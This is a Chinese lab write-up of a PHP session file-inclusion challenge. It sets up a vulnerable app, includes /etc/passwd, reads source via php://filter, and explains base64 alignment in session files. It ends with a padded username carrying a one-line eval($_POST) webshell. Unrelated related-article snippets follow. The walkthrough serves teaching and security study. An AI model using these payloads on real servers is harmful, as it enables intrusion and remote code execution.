一道session文件包含题

目录

环境说明

session文件包含getshell

审计源码

session包含

base64在session中的解码分析


题目:

链接:https://pan.baidu.com/s/1Q0BN08b8gWiVE4tOnirpTA?pwd=cate 
提取码:cate

环境说明

这里我用的是linux,也可以用phpstudy,但到时候包含session的时候可能会出现问题,最好用linux

基础环境

centos7

nginx1.20.2

php5.6

mysql5.7

基础环境自行搭建,这里不再多说,还需要进mysql创建数据库,创建表

create database web;
use web;
create table user(
username varchar(150),
password varchar(150)
);

环境搭建好后访问,随意创建一个用户,查看session是否正常,数据库是否有数据

session文件包含getshell

session文件包含的条件:

1.知道session在服务器上的存储位置

2.存在本地文件包含漏洞

进入index.php

点击login跳转,发现action参数为login.php,尝试文件包含

尝试包含/etc/passwd,成功包含,确认存在文件包含漏洞

 尝试使用php://filter读取文件源码,可以读取到register.php,login.php,index.php

审计源码

查看index.php源码可以知道,index.php是在判断是否存在session文件,若存在,则显示登录成功,失败就显示login和register界面

register.php部分代码

if ($_POST['username'] && $_POST['password']) {require_once('config.php');$username = $_POST['username'];$password = md5($_POST['password']);$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($mysqli->connect_errno) {die("could not connect to the database:\n" . $mysqli->connect_error);}$mysqli->set_charset("utf8");//php 预编译$sql = "select * from user where username=?";$stmt = $mysqli->prepare($sql);$stmt->bind_param("s", $username);$stmt->bind_result($res_id, $res_username, $res_password);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows();if($count) {die('User name Already Exists');} else {$sql = "insert into user(username, password) values(?,?)";$stmt = $mysqli->prepare($sql);$stmt->bind_param("ss", $username, $password);$stmt->execute();echo 'Register OK!<a href="index.php">Please Login</a>';}$stmt->close();$mysqli->close();
}

可以看到代码中接收了username和password的值,然后进入数据库查询,如果存在相同的username值就die掉,如果不存在就insert插入user表中

可以看到所有的sql语句都使用了预编译查询,sql注入这条路就走不通了,只能想其他办法

login.php中部分代码

if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = md5($_POST['password']);$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($mysqli->connect_errno) {die("could not connect to the database:\n" . $mysqli->connect_error);}$sql = "select password from user where username=?";$stmt = $mysqli->prepare($sql);$stmt->bind_param("s", $username);$stmt->bind_result($res_password);$stmt->execute();$stmt->fetch();if ($res_password == $password) {$_SESSION['username'] = base64_encode($username);header("location:index.php");} else {die("Invalid user name or password");}$stmt->close();$mysqli->close();}

可以看到也接收了username和password的值,然后查询数据库,对比password的md5值,如果相同,将username进行base64编码,然后存入session中的username字段,所以session中的内容应该是

username|s:x:"xxx"

session包含

然后可以猜测session文件的路径,一般默认会保存在如下几个目录

  • /var/lib/php/sess_PHPSESSID

  • /tmp/sess_PHPSESSID

  • /tmp/sessions/sess_PHPSESSID

这里由于我php的安装方式不同,目录不同于默认路径,然后就是session文件名,session文件名的格式是sess_PHPSESSID,而PHPSESSID可以通过cookie中获取

然后进行包含,显示如下则说明路径正确,包含成功

接下来就可以进行session文件包含了,但输入的username会进行base64编码,那如果可以进行base64解码,再包含这个文件,就可以getshell了,问题是如何进行base64解码?

php://filter就可以解决这个问题

php://filter/read=convert.base64-decode/resource=<session文件路径>

但按照我们之前的说法,此时如果我们直接将username传入<?php phpinfo();?>的话,会出现意料之外的结果 

base64解码后为什么没有按照我们想的那样,显示出phpinfo();呢?

这就涉及到base64的解码规则了 

base64在session中的解码分析

base64的解码规则是4位一解码,去除无效字符,即a-zA-Z,加号,斜杠和等号

而我们知道在session中的内容格式是这样的,最左边的x是字符串的字符数

username|s:x:"xxx"

所以有效字符为 username 8位 + s 1位 + x 1位 = 10位

base64会把这10位解码,但是base64会4位为一组,剩下2位会吃掉我们的<?php phpinfo();?>编码后的值来组成4位,然后再解码,这样我们的编码就乱了

原来是PD9waHAgcGhwaW5mbygpOz8+,被吃掉两位就变成了9waHAgcGhwaW5mbygpOz8+

所以我们要保证前面为4的整数倍,12就可以,所以我们可以让字符串的字符数变为3位数,这样就变成了12,要变成3位数就必须让字符数超过100但不能超过1000,所以我们传入username的值如下

catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate<?php phpinfo();?>

然后包含即可

然后传入一句话getshell

catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate<?php eval($_POST[pass]);?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/29069.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【论文阅读】-- DeepVisualInsight: 深度分类训练时空因果关系的时间旅行可视化

中文标题 摘要引言动机举例相关工作时间旅行可视化的属性符号定义邻居保护属性边界距离保持属性逆投影保持属性暂时保存属性 方法 δ \delta δ-边界估计(k)-BAVR综合体建设逆投影保持时间连续性 评估案例分析结论参考文献 摘要 了解深度学习模型的预测在训练过程中是如何形成…

[WTL/Win32]_[中级]_[MVP架构在实际项目中应用的地方]

场景 在开发Windows和macOS的界面软件时&#xff0c;Windows用的是WTL/Win32技术&#xff0c;而macOS用的是Cocoa技术。而两种技术的本地语言一个主打是C,另一个却是Object-c。界面软件的源码随着项目功能增多而增多&#xff0c;这就会给同步Windows和macOS的功能造成很大负担…

Linux-远程访问及控制

一、SSH远程管理 SSH&#xff08;Secure Shell&#xff09;是一种安全通道协议&#xff0c;主要用来实现字符界面的远程登录、远程复制等功能。SSH 协议对通信双方的数据传输进行了加密处理&#xff0c;其中包括用户登录时输入的用户口令。与早期的 Telent&#xff08;远程登录…

【Spine学习11】之 战士攻击动作 思路总结(手动调整贝塞尔曲线实现前快后慢)

拿到一份psd文件先观察检查一下图片顺序有没有问题&#xff0c; 重点看一下人物的腿部分层&#xff0c;&#xff08;如果是大小腿分开画的就网格可打可不打&#xff0c;如果是连在一起画的&#xff0c;那必须打网格&#xff09; 拿着剑的时候剑和手的层级有没有错位&#xff0c…

js下拉框选择筛选数据数据联动

在JavaScript中&#xff0c;可以通过事件监听和DOM操作来实现下拉框选择筛选数据的联动。 首先&#xff0c;在HTML中创建两个下拉框&#xff0c;分别为"select1"和"select2"&#xff1a; <select id"select1"><option value"opt…

Android SDK是什么?

在深入探讨Android SDK之前&#xff0c;我们首先需要明确其定义和重要性。Android SDK&#xff0c;全称Android Software Development Kit&#xff0c;是Android应用开发的核心工具集。它提供了一系列开发Android应用所需的工具、库和文档&#xff0c;使开发者能够利用这些资源…

P3391 【模板】文艺平衡树(@无旋Treap,* *)

【模板】文艺平衡树 - 洛谷 题目描述 您需要写一种数据结构&#xff08;可参考题目标题&#xff09;&#xff0c;来维护一个有序数列。 其中需要提供以下操作&#xff1a;翻转一个区间&#xff0c;例如原有序序列是 5 4 3 2 1&#xff0c;翻转区间是 [2,4] 的话&#xff0c;…

HCS-华为云Stack-容器网络

HCS-华为云Stack-容器网络 容器隧道overlay VPC网络

第〇篇:深入Docker的世界系列博客介绍

深入Docker的世界系列博客介绍 欢迎来到“深入Docker的世界”系列博客&#xff0c;这是一次旨在全面探索Docker容器化技术的冒险之旅。从基础原理到高级应用&#xff0c;再到实践案例分析&#xff0c;我们将深入挖掘Docker的每一个角落&#xff0c;帮助你不仅掌握这项技术的实…

Mariadb/MySQL挂了且重启失败

今天发现线上服务挂了&#xff0c;排查发现是MySQL服务停了且重启失败&#xff0c;排查日志&#xff1a; 1&#xff09;vim /var/log/mariadb/mariadb.log发现出现了Out of memory 240617 17:02:17 mysqld_safe mysqld from pid file /var/run/mariadb/mariadb.pid ended 240…

FreeRtos-09事件组的使用

1. 事件组的理论讲解 事件组:就是通过一个整数的bit位来代表一个事件,几个事件的or和and的结果是输出 #define configUSE_16_BIT_TICKS 0 //configUSE_16_BIT_TICKS用1表示16位,用0表示32位 1.1 事件组适用于哪些场景 某个事件若干个事件中的某个事件若干个事件中的所有事…

第10章 文件和异常

第10章 文件和异常 10.1 从文件中读取数据10.1.1 读取整个文件10.1.2 文件路径10.1.3 逐行读取10.1.4 创建一个包含文件各行内容的列表10.1.5 使用文件的内容10.1.6 包含一百万位的大型文件10.1.7 圆周率值中包含你的生日吗 10.2 写入文件10.2.1 写入文件10.2.2 写入多行10.2.3…

matplotlib`进行绘图时

当使用matplotlib进行绘图时&#xff0c;如果中文显示失败&#xff0c;通常是因为字体设置的问题。matplotlib默认使用的字体可能不包含中文字符集。为了解决这个问题&#xff0c;你可以尝试以下几个步骤&#xff1a; 设置字体属性&#xff1a; 在绘图代码中&#xff0c;你可以…

MyBatisPlus基础学习

一、简介 二、集成MP 三、入门HelloWorld 四、条件构造器EntityWrapper 五、ActiveRecord(活动记录 ) 六、代码生成器 七、插件扩展 八、自定义全局操作 九、公共字段自动填充 十、Oracle主键Sequence 十一、Idea快速开发插件 十二、mybatis-plus实践及架构原理

C#聊天室客户端完整③

窗体 进入聊天室界面(panel里面,label,textbox,button): 聊天界面(flowLayoutPanel(聊天面板))&#xff1a; 文档大纲(panel设置顶层(登录界面),聊天界面在底层) 步骤&#xff1a;设置进入聊天室→输入聊天→右边自己发送的消息→左边别人发的消息 MyClient.cs(进入聊天室类) …

JS 严格模式和正常模式的区别

严格模式使用"use strict"; 作用&#xff1a; 消除 Javascript 语法的一些不合理、不严谨之处&#xff0c;减少一些怪异行为;消除代码运行的一些不安全之处&#xff0c;保证代码运行的安全&#xff1b;提高编译器效率&#xff0c;增加运行速度&#xff1b;为未来新…

如何利用TikTok矩阵源码实现自动定时发布和高效多账号管理

在如今社交媒体的盛行下&#xff0c;TikTok已成为全球范围内最受欢迎的短视频平台之一。对于那些希望提高效率的内容创作者而言&#xff0c;手动发布和管理多个TikTok账号可能会是一项繁琐且耗时的任务。幸运的是&#xff0c;通过利用TikTok矩阵源码&#xff0c;我们可以实现自…

Linux C语言:字符串处理函数

一、字符串函数 1、C库中实现了很多字符串处理函数 #include <string.h> ① 求字符串长度的函数strlen② 字符串拷贝函数strcpy③ 字符串连接函数strcat④ 字符串比较函数strcmp 2、字符串长度函数strlen 格式&#xff1a;strlen(字符数组)功能&#xff1a;计算字符串…

【Python】已解决报错:AttributeError: module ‘json‘ has no attribute ‘loads‘解决办法

&#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主。 &#x1f913; 同时欢迎大家关注其他专栏&#xff0c;我将分享Web前后端开发、人工智能、机器学习、深…

1)Java项目笔记搭建系统梳理相关知识

目录 前言项目结构Java部分Spring整合部分SpringBoot整合部分 模块说明规划 小结javarabbitmqmybatisspring最后推荐几本工具书 前言 工作有年头了&#xff0c;学到了很多技术&#xff0c;收获了很多。但是对与工作相关的专业技能知识的掌握杂而乱&#xff0c;不够全面系统。因…